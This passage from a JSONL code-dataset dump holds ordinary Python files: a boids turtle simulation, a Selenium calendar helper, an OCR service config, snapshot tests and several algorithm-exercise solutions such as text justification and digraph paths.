main()","sub_path":"pycfiles/runtilities-2.0.1-py3.6/competitor2csv.cpython-36.py","file_name":"competitor2csv.cpython-36.py","file_ext":"py","file_size_in_byte":3954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"258119704","text":"#!/usr/bin/python\n\n#Regle 1 : Ajouter un vecteur centre\n#Regle 2 : Moyenne des vitesses\n#Regle 3 : Air d'espace entre les tortues pour eviter la superposition\n#Regle 4 : Eviter que les tortues sortent du cadre de l'ecran\n\nimport turtle\nimport math\nimport random\n\n#Nombre de tortues\nn=10\n#Instance de tortues\nboids=[]\n#vitesse\ns=1\n#Zone de repulsion\nzdr=20\nregle1=[]\nregle2=[0,0]\nregle3=[]\nregle4=[]\nregle5=[]\nv=[]\n#Coef des regles\nr1=10\nr2=50\nr3=4\nr4=100\nr5=1\n\nturtle.tracer(50,1)\nturtle.color(\"white\")\nfor i in range(n):\n\tboids.append(turtle.Turtle())\n\tboids[i].penup()\n\tboids[i].setposition(random.randint(-100,100), random.randint(-100,100))\n\tboids[i].setheading(random.randint(0,359))\n\tboids[i].color(random.random(),random.random(),random.random())\n\tboids[i].pendown()\n\t\n\tregle1.append([0,0])\n\tregle3.append([0,0])\n\tregle4.append([0,0])\n\tregle5.append([0,0])\n\tv.append([0,0])\n\nwhile True:\n\t#Regle 1\n\tpmX=0\n\tpmY=0\n\tfor i in range(n):\n\t\tpmX+=boids[i].xcor()\n\t\tpmY+=boids[i].ycor()\n\tpmX/=n\n\tpmY/=n\n\t\n\tfor i in range(n):\n\t\tregle1[i][0]=pmX-boids[i].xcor()\n\t\tregle1[i][1]=pmY-boids[i].ycor()\n\t\n\t#Regle 2\n\tangle=0\n\tfor i in range(n):\n\t\tangle+=boids[i].heading()\n\tangle/=n\n\tregle2[0] = s * math.cos(angle/57.17)\n\tregle2[1] = s * math.sin(angle/57.17)\n\t\n\t#Regle 3\n\tfor i in range(n):\n\t\tnbs=0\n\t\tpox, poy = 0, 0\n\t\tfor boid in boids :\n\t\t\tif boid != boids[i]:\n\t\t\t\tif math.sqrt(math.pow(boid.xcor()-boids[i].xcor(),2)+math.pow(boid.ycor()-boids[i].ycor(),2)) < zdr:\n\t\t\t\t\tpox+=boid.xcor()\n\t\t\t\t\tpoy+=boid.ycor()\n\t\t\t\t\tnbs+=1\n\t\tif nbs > 0 :\n\t\t\tpox/=nbs\n\t\t\tpoy/=nbs\n\t\t\tregle3[i][0] = boids[i].xcor() - pox\n\t\t\tregle3[i][1] = boids[i].ycor() - poy\n\t\n\t#Regle 4\t\n\thauteur, largeur = turtle.screensize()\n\tfor i in range(n):\n\t\tregle4[i][0]=0\n\t\tregle4[i][1]=0\n\t\tif boids[i].distance(0,0) > largeur:\n\t\t\tregle4[i][0]=-boids[i].xcor()\n\t\t\tregle4[i][1]=-boids[i].ycor()\n\t\t\t\n\t\n\t#Regle 5\n\tfor i in range(n):\n\t\tregle5[i][0]=v[i][0]\n\t\tregle5[i][1]=v[i][1]\n\t\n\t#Application des regles\n\tfor i in range(n):\n\t\tv[i][0] = r1 * regle1[i][0] + r2 * regle2[0] + r3 * regle3[i][0] + r4 * regle4[i][0] + r5 * regle5[i][0]\n\t\tv[i][1] = r1 * regle1[i][1] + r2 * regle2[1] + r3 * regle3[i][1] + r4 * regle4[i][1] + r5 * regle5[i][1]\n\t\tboids[i].setheading(math.atan2(v[i][1], v[i][0])*57.17)\n\t\tboids[i].forward(s)\n\t\t\t\t\t\nraw_input(\"Appuyer sur ENTRER\")\n\n\n","sub_path":"boids/exo1.py","file_name":"exo1.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"638202631","text":"# Desafio 127\n\nusers = ['raphael','lucas','carlos','raphael','joao','bruno','raphael']\nfor user in users:\n    print(user.title())\nwhile 'raphael' in users:\n    users.remove('raphael')\n\nprint(\"\\n\")\nfor user in users:\n    print(user.title())\n\n# Crio uma lista 'users' e defino os elementos, repetindo várias vezes 'raphael'\n# utilizo o FOR para mostrar os elementos da lista, no loop WHILE digo: enquanto\n# 'raphael' estiver na lista 'users', remova 'raphael' da lista 'users', o segun-\n# do FOR utilizo para mostrar os elementos restantes da lista 'users'.","sub_path":"desafio_127.py","file_name":"desafio_127.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"42300308","text":"from selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\n\nfrom WaitWrapper import general_driver_wait\n\nimport settings\n\nclass CalendarManager: \n\n    month_dropdown_class = 'ui-datepicker-month'\n    next_btn_class = 'ui-datepicker-next'\n    calendar_widget_class = 'ui-datepicker-calendar'\n\n    def __init__(self, first_day_to_book, curr_day): \n        self.first_day_to_book = first_day_to_book\n        self.curr_day = curr_day\n\n    \n    def get_curr_day(self): \n        return self.get_curr_day\n\n\n    def set_curr_day(self, new_curr_day): \n        self.curr_day = new_curr_day\n\n\n    def click_day(self): \n        settings.driver.get(settings.main_page_url) #refresh page to ensure we are in the correct state\n        self.ensure_correct_calendar_loc() #ensure driver is on correct calendar month \n        self.find_day_anchor_to_click().click() #locate and click appropriate anchor element \n    \n\n    #returns integer 1-12 representing the current selected month jan-dec\n    def get_selected_month(self):\n        general_driver_wait(EC.presence_of_element_located, By.CLASS_NAME, CalendarManager.month_dropdown_class)\n        month_options = settings.driver.find_element_by_class_name(CalendarManager.month_dropdown_class).find_elements_by_css_selector(\"*\")\n        for month in month_options: \n            try: \n                if month.get_attribute('selected') is not None:\n                    return int(month.get_attribute('value')) + 1 #offset by one since website represents months with integers 0-11 instead of 1-12\n            except:\n                pass #case of non-selected month\n        raise Exception(\"Was not able to determine what the current selected month is\") #unable to recover from this error \n\n\n    def ensure_correct_calendar_loc(self):\n        old_month_num = self.get_selected_month() #returns integer 1-12\n        if self.first_day_to_book > self.curr_day:\n            settings.driver.find_element_by_class_name(CalendarManager.next_btn_class).click() #move calendar to next month\n            new_month_num = self.get_selected_month()\n            if new_month_num == old_month_num:\n                self.click_day() #the button click did not work and we did not advance. Restart state\n        \n\n    def find_day_anchor_to_click(self):\n        calendarWidget = settings.driver.find_element_by_class_name(CalendarManager.calendar_widget_class)\n        possible_anchors = calendarWidget.find_elements_by_xpath('.//a') #gets all child anchor elements of calendar widget\n        for anchor in possible_anchors:\n            if int(anchor.text) == self.curr_day: \n                return anchor\n        self.click_day() #We did not find the desired anchor but we can recover from this by  resettings state","sub_path":"CalendarManager.py","file_name":"CalendarManager.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"354907145","text":"import logging\nimport os\nimport time\n\nDEBUG = False\nAPI_URL_PREFIX = \"/anuvaad-etl/document-processor/ocr/tesseract\"\nHOST = '0.0.0.0'\nPORT = 5001\nBASE_DIR      = 'upload'\n\nENABLE_CORS = False\n\n# kafka\n\ninput_topic_default = 'anuvaad-dp-tools-ocr-tesseract-input-v1'\ninput_topic_identifier = 'KAFKA_ANUVAAD_DP_TOOLS_OCR_TESSERACT_INPUT'\ninput_topic = os.environ.get(input_topic_identifier, input_topic_default)\n\noutput_topic_default = 'anuvaad-dp-tools-ocr-tesseract-output-v1'\noutput_topic_identifier = 'KAFKA_ANUVAAD_DP_TOOLS_OCR_TESSERACT_OUTPUT'\noutput_topic = os.environ.get(output_topic_identifier, output_topic_default)\n\nkf_local_server     = 'localhost:9092'\nkafka_ip_host       = 'KAFKA_BOOTSTRAP_SERVER_HOST'\nbootstrap_server    = os.environ.get(kafka_ip_host, kf_local_server)\n\nTASK_STAT           = 'TESSERACT-OCR'\n\nCONSUMER_GROUP_default       = 'anuvaad-etl-tess-consumer-group'\nCONSUMER_GROUP_identifier    = 'ANUVAAD_ETL_TESS_CONSUMER_GROUP_V1'\nCONSUMER_GROUP               = os.environ.get(CONSUMER_GROUP_identifier,CONSUMER_GROUP_default)\n#folders and file path\ndownload_folder = 'upload'\n\n\nlogging.basicConfig(\n    filename=os.getenv(\"SERVICE_LOG\", \"server.log\"),\n    level=logging.DEBUG,\n    format=\"%(levelname)s: %(asctime)s \\\n        pid:%(process)s module:%(module)s %(message)s\",\n    datefmt=\"%d/%m/%y %H:%M:%S\",\n)\n\n\nocr_class = [\"TEXT\",\"TABLE\",\"HEADER\",\"FOOTER\",\"CELL\"]#,\"IMAGE\"]\n\nLANG_MAPPING       =  {\n    \"en\" : [\"Latin\",\"eng\"],\n    \"kn\" : ['Kannada',\"kan\"],\n    \"gu\": [\"guj\"],\n    \"or\": [\"ori\"],\n    \"hi\" : [\"Devanagari\",\"hin\",\"eng\"],\n    \"bn\" : [\"Bengali\",\"ben\"],\n    \"mr\": [\"Devanagari\",\"hin\",\"eng\"],\n    \"ta\": ['Tamil',\"tam\"],\n    \"te\" : [\"Telugu\",\"tel\"],\n    \"ml\" :[\"Malayalam\"],\n    \"ma\" :[\"Marathi\"]\n}\n\nCROP_CONFIG = {\n    'en' : {'top':1, 'bottom':1,'right':1,'left':1},\n    'hi': {'top':15, 'bottom':10,'right':5,'left':5},\n    'ml': {'top':15, 'bottom':10,'right':5,'left':5},\n    'kn':{'top':15, 'bottom':10,'right':5,'left':5 },\n    'ta':{'top':10, 'bottom':15,'right':5,'left':10},\n    'bn':{'top':15, 'bottom':10,'right':5,'left':5},\n    'te':{'top':15, 'bottom':10,'right':5,'left':5},\n    'ma':{'top':15, 'bottom':10,'right':5,'left':5}\n}\n\nIS_DYNAMIC = True\nDYNAMIC_LEVEL = \"lines\"\nDYNAMIC_CLASS = [\"TEXT\"]\n\nREJECT_FILTER = 2\n\nOCR_LEVEL = {'HIGH_ACCURACY' : 'lines'  }\nWATERMARK_THRESHOLD_LOW = 175\nWATERMARK_THRESHOLD_HIGH = 250","sub_path":"anuvaad-etl/anuvaad-extractor/document-processor/ocr/tesseract/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"590989157","text":"import imports\n\n# efffing nailed it\n\ndef minimum_window_substring(str, pattern):\n    min_length = imports.inf\n    p_counter = imports.Counter()\n    keys_to_cover = len(pattern)\n    left = 0\n    for i, c in enumerate(str):\n        p_counter[c] -= 1\n        if p_counter[c] >= 0:\n            keys_to_cover -= 1\n\n        while keys_to_cover == 0:\n            min_length = min(min_length, i - left + 1)\n            left_char = str[left]\n            p_counter[left_char] += 1\n            if p_counter[left_char] > 0:\n                keys_to_cover += 1\n            left += 1\n    return min_length\n","sub_path":"revise-daily/arjuna-vishwamitra-abhimanyu/educative/1-sliding-window/8_minimum_window_substring.py","file_name":"8_minimum_window_substring.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"562436899","text":"# adjacency_list takes one parameter file_name of type String which should return a List of List of int numbers\ndef adjacency_list(file_name):\n    # write your code here\n    # opens and closes file\n    with open(file_name, \"r\") as digraph_file:\n        digraph_list = digraph_file.readlines()\n    \n    # initializes list of edges\n    digraph_edges = []\n\n    # convert file from list of strings to list of lists of integers\n    for line in digraph_list:\n        new_edge = []\n        new_edge = line.split(' ')\n        new_edge[0]=int(new_edge[0])\n        new_edge[1]=int(new_edge[1])\n        digraph_edges.append(new_edge)\n    \n    #print(digraph_edges)\n    \n    adjacency_list = []\n    # iterate over all nodes\n    for node in range(0,digraph_edges[0][1]):\n        #print(\"current node: \")\n        #print(node)\n        neighbors_list = []\n        # iterate over edges\n        for edge in range(1,digraph_edges[0][0]+1):\n            #print(\"compare to: \")\n            #print(digraph_edges[edge][0])\n            if node == digraph_edges[edge][0]:\n                neighbors_list.append(digraph_edges[edge][1])\n        #print(neighbors_list)\n        adjacency_list.append(neighbors_list)\n    #print(adjacency_list)\n    return adjacency_list\n\n# maximal_path takes two parameters - file_name of type String and start of type int, and returns a List on int numbers\ndef maximal_path(file_name, start):\n    # write your code here\n    # opens and closes file\n    with open(file_name, \"r\") as digraph_file:\n        first_line = digraph_file.readline().split(' ')\n\n    # determine number of edges and nodes\n    digraph_size = [int(first_line[0]),int(first_line[1])]\n\n    # create adjacency list\n    adj_list = adjacency_list(file_name)\n    print(adj_list)\n\n    # initialize lists and variables\n    current_node = start\n    max_path = []\n    visit_list = [False for i in range(0,digraph_size[1])]\n    print(visit_list)\n    dead_end = False\n\n    # Keep going until a dead end has been reached\n    while dead_end == False:\n        print(\"Current node:\")\n        print(current_node)\n        visit_list[current_node] = True\n        max_path.append(current_node)\n        # If node in adj_list is empty (has no neighbors)\n        if not adj_list[current_node]:\n            dead_end = True\n            print(\"Has no neighbors: end of path reached\")\n            # move on to next while cycle\n            continue\n        # For current node, look at each neighbor in order\n        number_neighbors = len(adj_list[current_node])\n        for neighbor in range(number_neighbors):\n            next_node = adj_list[current_node][neighbor]\n            print(\"Looking at:\")\n            print(next_node)\n            # If it has not been visited\n            if visit_list[next_node] == False:\n                # go to that neighbor and end the for loop, which then arrives at the end of the while loop\n                current_node = next_node\n                dead_end = False\n                break\n            else:\n                # move on\n                dead_end = True\n                print(\"already visited\")\n                pass                \n    print(\"All neigbors visited: end of path reached\")\n    print(max_path)\n    return max_path\n\n        \n\n\n\n#adjacency_list(\"digraph1.txt\")\nmaximal_path(\"digraph0.txt\", 0)\n","sub_path":"DigraphPaths.py","file_name":"DigraphPaths.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"122495980","text":"\n\n#calss header\nclass _FLAMBOYANT():\n\tdef __init__(self,): \n\t\tself.name = \"FLAMBOYANT\"\n\t\tself.definitions = [u'very confident in behaviour, and liking to be noticed by other people, for example because of the way you dress, talk, etc.: ', u'brightly coloured and easily noticed: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_flamboyant.py","file_name":"_flamboyant.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"110333720","text":"\"\"\"\n68. Text Justification\n\nGiven an array of words and a width maxWidth, format the text such that each line has exactly maxWidth characters and is fully (left and right) justified.\n\nYou should pack your words in a greedy approach; that is, pack as many words as you can in each line. Pad extra spaces ' ' when necessary so that each line has exactly maxWidth characters.\n\nExtra spaces between words should be distributed as evenly as possible. If the number of spaces on a line do not divide evenly between words, the empty slots on the left will be assigned more spaces than the slots on the right.\n\nFor the last line of text, it should be left justified and no extra space is inserted between words.\n\nNote:\n\nA word is defined as a character sequence consisting of non-space characters only.\nEach word's length is guaranteed to be greater than 0 and not exceed maxWidth.\nThe input array words contains at least one word.\nExample 1:\n\nInput:\nwords = [\"This\", \"is\", \"an\", \"example\", \"of\", \"text\", \"justification.\"]\nmaxWidth = 16\nOutput:\n[\n   \"This    is    an\",\n   \"example  of text\",\n   \"justification.  \"\n]\nExample 2:\n\nInput:\nwords = [\"What\",\"must\",\"be\",\"acknowledgment\",\"shall\",\"be\"]\nmaxWidth = 16\nOutput:\n[\n  \"What   must   be\",\n  \"acknowledgment  \",\n  \"shall be        \"\n]\nExplanation: Note that the last line is \"shall be    \" instead of \"shall     be\",\n             because the last line must be left-justified instead of fully-justified.\n             Note that the second line is also left-justified becase it contains only one word.\nExample 3:\n\nInput:\nwords = [\"Science\",\"is\",\"what\",\"we\",\"understand\",\"well\",\"enough\",\"to\",\"explain\",\n         \"to\",\"a\",\"computer.\",\"Art\",\"is\",\"everything\",\"else\",\"we\",\"do\"]\nmaxWidth = 20\nOutput:\n[\n  \"Science  is  what we\",\n  \"understand      well\",\n  \"enough to explain to\",\n  \"a  computer.  Art is\",\n  \"everything  else  we\",\n  \"do                  \"\n]\n\nExpected Results:\n\nTest Case 1. maxwidth:16, words:['This', 'is', 'an', 'example', 'of', 'text', 'justification.']\nword_length: [4, 2, 2, 7, 2, 4, 14]\nlines : [[0, 1, 2], [3, 4, 5], [6]]\nspaces: [8, 3, 2]\nword_spaces: [[4, 4, 0], [2, 1, 0], [2]]\n  - Result 1: ['This    is    an', 'example  of text', 'justification.  ']\n  - Expected: ['This    is    an', 'example  of text', 'justification.  ']\n  - Assert 1: True\n\nTest Case 2. maxwidth:16, words:['What', 'must', 'be', 'acknowledgment', 'shall', 'be']\nword_length: [4, 4, 2, 14, 5, 2]\nlines : [[0, 1, 2], [3], [4, 5]]\nspaces: [6, 2, 9]\nword_spaces: [[3, 3, 0], [2], [1, 8]]\n  - Result 1: ['What   must   be', 'acknowledgment  ', 'shall be        ']\n  - Expected: ['What   must   be', 'acknowledgment  ', 'shall be        ']\n  - Assert 1: True\n\nTest Case 3. maxwidth:20, words:['Science', 'is', 'what', 'we', 'understand', 'well', 'enough', 'to', 'explain', 'to', 'a', 'computer.', 'Art', 'is', 'everything', 'else', 'we', 'do']\nword_length: [7, 2, 4, 2, 10, 4, 6, 2, 7, 2, 1, 9, 3, 2, 10, 4, 2, 2]\nlines : [[0, 1, 2, 3], [4, 5], [6, 7, 8, 9], [10, 11, 12, 13], [14, 15, 16], [17]]\nspaces: [5, 6, 3, 5, 4, 18]\nword_spaces: [[2, 2, 1, 0], [6, 0], [1, 1, 1, 0], [2, 2, 1, 0], [2, 2, 0], [18]]\n  - Result 1: ['Science  is  what we', 'understand      well', 'enough to explain to', 'a  computer.  Art is', 'everything  else  we', 'do                  ']\n  - Expected: ['Science  is  what we', 'understand      well', 'enough to explain to', 'a  computer.  Art is', 'everything  else  we', 'do                  ']\n  - Assert 1: True\n\nTest Case 4. maxwidth:16, words:['ask', 'not', 'what', 'your', 'country', 'can', 'do', 'for', 'you', 'ask', 'what', 'you', 'can', 'do', 'for', 'your', 'country']\nword_length: [3, 3, 4, 4, 7, 3, 2, 3, 3, 3, 4, 3, 3, 2, 3, 4, 7]\nlines : [[0, 1, 2], [3, 4, 5], [6, 7, 8, 9], [10, 11, 12, 13], [14, 15, 16]]\nspaces: [6, 2, 5, 4, 2]\nword_spaces: [[3, 3, 0], [1, 1, 0], [2, 2, 1, 0], [2, 1, 1, 0], [1, 1, 0]]\n  - Result 1: ['ask   not   what', 'your country can', 'do  for  you ask', 'what  you can do', 'for your country']\n  - Expected: ['ask   not   what', 'your country can', 'do  for  you ask', 'what  you can do', 'for your country']\n  - Assert 1: True\n\nTest Case 5. maxwidth:30, words:[\"Don't\", 'go', 'around', 'saying', 'the', 'world', 'owes', 'you', 'a', 'living;', 'the', 'world', 'owes', 'you', 'nothing;', 'it', 'was', 'here', 'first.']\nword_length: [5, 2, 6, 6, 3, 5, 4, 3, 1, 7, 3, 5, 4, 3, 8, 2, 3, 4, 6]\nlines : [[0, 1, 2, 3, 4], [5, 6, 7, 8, 9, 10], [11, 12, 13, 14, 15, 16], [17, 18]]\nspaces: [8, 7, 5, 20]\nword_spaces: [[2, 2, 2, 2, 0], [2, 2, 1, 1, 1, 0], [1, 1, 1, 1, 1, 0], [1, 19]]\n  - Result 1: [\"Don't  go  around  saying  the\", 'world  owes  you a living; the', 'world owes you nothing; it was', 'here first.                   ']\n  - Expected: [\"Don't  go  around  saying  the\", 'world  owes  you a living; the', 'world owes you nothing; it was', 'here first.                   ']\n  - Assert 1: True\n\"\"\"\n\nclass Solution:\n \n    def fullJustify1(self, words, maxWidth):\n\n        # get list of each word len\n        word_lengths = [len(word) for word in words]\n\n        # get list of words index per each line\n        lines, spaces = self.get_lines_spaces(word_lengths, maxWidth)\n\n        # get list of space per each word per each line\n        word_spaces = self.get_word_space(lines, spaces, words)\n\n        # generate return value\n        res = []\n        for i, line in enumerate(lines):\n            tmp = []\n            for j, word_idx in enumerate(line):\n                s = ' ' * word_spaces[i][j]\n                tmp.append(f\"{words[word_idx]}{s}\")\n            res.append(\"\".join(tmp))\n        return res\n\n    def get_lines_spaces(self, word_lengths, maxWidth):\n        lines, line, spaces, space, width = [], [], [], maxWidth, 0\n        for i, wlen in enumerate(word_lengths):\n            width += (wlen+1)\n            if width > maxWidth+1:\n                lines.append(line)\n                spaces.append(space)\n                space, width, line = maxWidth, wlen+1, []\n            space -= wlen\n            line.append(i)\n        if line: \n            lines.append(line)\n            spaces.append(space)\n\n        return lines, spaces\n\n    def get_word_space(self, lines, spaces, words):\n        last_idx = len(lines)-1\n        word_spaces = []\n        for i, line in enumerate(lines):\n            word_cnt   = len(line)\n            space      = spaces[i]\n\n            if i == last_idx:\n                space_list = [1]*word_cnt\n                space_list[-1] = space - word_cnt + 1\n            else:\n                k = word_cnt - 1\n                space_list = [0]*word_cnt\n                for i in range(word_cnt-1, -1, -1):\n                    if i == word_cnt-1: continue\n                    w = space // k if k > 0 else space\n                    space_list[i] = w\n                    space -= w\n                    k     -= 1\n                if word_cnt == 1: space_list[0] = space\n            word_spaces.append(space_list)\n        return word_spaces\n\n\n    # 19/27 passed\n    def fullJustify2(self, words, maxWidth):\n        \"\"\"\n        - res : []\n        - get list of each word length: l[]\n        - get list of words per each line: s[]\n          * len(word) <= maxWidth\n          * prev len(word) + 1 + cur len(word) <= maxWidth\n          * get list of space per each line : space\n        - generate res\n          * not last line\n            - calculate each space // len(s)\n          * last line\n            - f\"{w:maxWidth}\"\n        \n        \"\"\"\n        # Get list of each word length\n        word_lengths = [len(w) for w in words]\n        \n        # Get list of words and space per each line\n        width, line, space = 0, [], maxWidth\n        lines, spaces = [], []\n        for i, word_len in enumerate(word_lengths):\n            width += word_len+1\n            if width-1 > maxWidth:\n                spaces.append(space)\n                lines.append(line)\n                line = []\n                width, space = word_len+1, maxWidth\n            space -= word_len\n            line.append(i)\n        if width > 0:\n            spaces.append(space)\n            lines.append(line)\n\n        # Generate res\n        res, last_idx = [], len(lines)-1\n        for i, line in enumerate(lines):\n            sline, n = [], len(line)\n            space = spaces[i]\n            if i == last_idx or n == 1:\n                for j, word_idx in enumerate(line):\n                    if   j == n-1:  # last   index\n                        sline.append(f\"{words[word_idx]}{' '*space}\")\n                    else:\n                        space -= 1\n                        sline.append(f\"{words[word_idx]} \")\n            else:\n                #print(f\"word_cnt:{n}, space:{space}\")\n                mspace, rspace = self.get_space(space, n)\n                for j, word_idx in enumerate(line):\n                    if   j == n-1:  # last   index\n                        sline.append(f\"{words[word_idx]}\")\n                    elif j == n-2:  # last-2 index\n                        sline.append(f\"{words[word_idx]}{rspace}\")\n                    else:\n                        sline.append(f\"{words[word_idx]}{mspace}\")\n            res.append(\"\".join(sline))\n        return res\n                                     \n    def get_space(self, space, word_cnt):\n        m, r = 0, 0\n        if word_cnt <= 2: return space * \" \", space * \" \"\n        \n        n = word_cnt - 1\n        mod = space % n\n        \n        if mod == 0:\n            m = r = space // n\n        else:\n            r = space // n\n            m = (space-r) // (n-1)\n        return m*\" \", r*\" \"\n\n\n    def test(self):\n        test_cases = [\n            { \"maxWidth\"   : 16,\n              \"words\"      : [\"This\", \"is\", \"an\", \"example\", \"of\", \"text\", \"justification.\"],\n              \"expectation\": [\"This    is    an\",\"example  of text\",\"justification.  \"]\n            },\n            { \"maxWidth\"   : 16,\n              \"words\"      : [\"What\",\"must\",\"be\",\"acknowledgment\",\"shall\",\"be\"],\n              \"expectation\": [\"What   must   be\",\"acknowledgment  \",\"shall be        \"]\n            },\n            { \"maxWidth\"   : 20,\n              \"words\"      : [\"Science\",\"is\",\"what\",\"we\",\"understand\",\"well\",\"enough\",\"to\",\"explain\",\"to\",\"a\",\"computer.\",\"Art\",\"is\",\"everything\",\"else\",\"we\",\"do\"],\n              \"expectation\": [\"Science  is  what we\",\"understand      well\",\"enough to explain to\",\"a  computer.  Art is\",\"everything  else  we\",\"do                  \"]\n            },\n            { \"maxWidth\"   : 16,\n              \"words\"      : [\"ask\",\"not\",\"what\",\"your\",\"country\",\"can\",\"do\",\"for\",\"you\",\"ask\",\"what\",\"you\",\"can\",\"do\",\"for\",\"your\",\"country\"],\n              \"expectation\": [\"ask   not   what\",\"your country can\",\"do  for  you ask\",\"what  you can do\",\"for your country\"]\n            },\n            { \"maxWidth\"   : 30,\n              \"words\"      : [\"Don't\",\"go\",\"around\",\"saying\",\"the\",\"world\",\"owes\",\"you\",\"a\",\"living;\",\"the\",\"world\",\"owes\",\"you\",\"nothing;\",\"it\",\"was\",\"here\",\"first.\"],\n              \"expectation\": [\"Don't  go  around  saying  the\",\"world  owes  you a living; the\",\"world owes you nothing; it was\",\"here first.                   \"]\n            }\n        ]\n        for i, t in enumerate(test_cases, 1): \n            maxWidth, words, expectation = t['maxWidth'], t['words'], t['expectation']\n            print(f\"\\nTest Case {i}. maxwidth:{maxWidth}, words:{words}\")\n            res1 = self.fullJustify1(words, maxWidth)\n            #res2 = self.fullJustify2(words, maxWidth)\n            print(f\"  - Result 1: {res1}\")\n            #print(f\"  - Result 2: {res2}\")\n            print(f\"  - Expected: {expectation}\")\n            print(f\"  - Assert 1: {res1 == expectation}\")\n            #print(f\"  - Assert 2: {res2 == expectation}\")\n\n\nif __name__ == '__main__':\n    Solution().test()\n\n","sub_path":"mock/hard/string/68_text_justification.py","file_name":"68_text_justification.py","file_ext":"py","file_size_in_byte":11750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"500827889","text":"# -*- coding: utf-8 -*-\n# snapshottest: v1 - https://goo.gl/zC4yUc\nfrom __future__ import unicode_literals\n\nfrom snapshottest import Snapshot\n\n\nsnapshots = Snapshot()\n\nsnapshots[\n    \"test_cli_app_scrape_create[rent-92130-29-31-True] 1\"\n] = \"\"\"🛠️The scrape has been kicked off.🛠️\n(message id: ***volatile-value***)\n\"\"\"\n\nsnapshots[\n    \"test_cli_app_scrape_create[rent-92130-29-31-False] 1\"\n] = \"\"\"Account 'test' is not logged in. Please log in and try again.\n\"\"\"\n","sub_path":"tests/snapshots/snap_test_scrapes_api.py","file_name":"snap_test_scrapes_api.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"576677694","text":"\"\"\"\n1565. Modern Ludo I\nhttps://www.lintcode.com/problem/modern-ludo-i/description\ndp[i] min steps to this point.\n九章算法高频题班\n\"\"\"\nimport sys\nclass Solution:\n    \"\"\"\n    @param length: the length of board\n    @param connections: the connections of the positions\n    @return: the minimum steps to reach the end\n    \"\"\"\n    def modernLudo(self, length, connections):\n        # Write your code here\n        dp = [sys.maxsize] * (length + 1) #? why + 1\n        transport = {}\n        for start, end in connections:\n            transport[end] = transport.get(end, set())\n            transport[end].add(start)\n\n        dp[1] = 0\n\n        for i in range(2, length + 1):\n            for j in range(1, 7):\n                if i - j < 0:\n                    continue\n                dp[i] = min(dp[i], dp[i - j] + 1)\n            if i not in transport:\n                continue\n            for start in transport[i]:\n                dp[i] = min(dp[i], dp[start])\n\n        return dp[length]\n","sub_path":"lintcode/1565.py","file_name":"1565.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"478079150","text":"import copy\nfrom itertools import permutations\n\ndef solution(board, r, c):\n    answer = float('inf')\n    n_set = set()\n    for row in board:\n        for el in row:\n            if el > 0:\n                n_set.add(el)\n\n    def compute_needed_move(dst, r,c, board):\n        target_r, target_c = dst\n\n        # r 먼저\n        r_first = 0\n        if r != target_r:\n            r_first +=1\n            for dr in range(min(r, target_r)+1, max(r, target_r)):\n                if board[dr][c] != 0:\n                    r_first += 1\n\n        if c != target_c:\n            r_first +=1\n            for dc in range(min(c, target_c)+1, max(c, target_c)):\n                if board[target_r][dc] != 0:\n                    r_first += 1\n\n        # c 먼저\n        c_first = 0\n        if c!= target_c:\n            c_first += 1\n            for dc in range(min(c, target_c)+1, max(c, target_c)):\n                if board[r][dc] != 0:\n                    c_first += 1\n\n        if r != target_r:\n            c_first += 1\n            for dr in range(min(r, target_r)+1, max(r, target_r)):\n                if board[dr][target_c] != 0:\n                    c_first += 1\n\n        return min(r_first, c_first)\n\n    def find_el_from_board(target, board):\n        loc_list = []\n        for i, row in enumerate(board):\n            for j, el in enumerate(row):\n                if el == target:\n                    # print(el, target)\n                    loc_list.append((i,j))\n\n        # print(loc_list)\n        return loc_list\n\n\n    def compute_n_move(order, r, c, copied_board):\n        n_move = 0\n        for el in order:\n            card1_loc, card2_loc = find_el_from_board(el, copied_board)\n\n            card1_needed_move = compute_needed_move(card1_loc, r, c, copied_board)\n            card2_needed_move = compute_needed_move(card2_loc, r, c, copied_board)\n\n            if card1_needed_move <= card2_needed_move:\n                move1 = card1_needed_move\n                r,c = card1_loc\n                other_card = card2_loc\n            else:\n                move1 = card2_needed_move\n                r,c = card2_loc\n                other_card = card1_loc\n\n            move2 = compute_needed_move(other_card, r, c, copied_board)\n            r, c= other_card\n\n            n_move += (move1 + move2 + 2)\n\n            copied_board[card1_loc[0]][card1_loc[1]] = 0\n            copied_board[card2_loc[0]][card2_loc[1]] = 0\n\n        return n_move\n\n    for search_order in permutations(n_set, len(n_set)):\n        cur_move = compute_n_move(search_order,r,c, copy.deepcopy(board))\n        # print(cur_move)   \n        answer = min(answer, cur_move)\n\n    return answer\n\n\n\nif __name__ == \"__main__\":\n    board = [[1,0,0,3],[2,0,0,0],[0,0,0,2],[3,0,1,0]]\n    r = 1\n    c 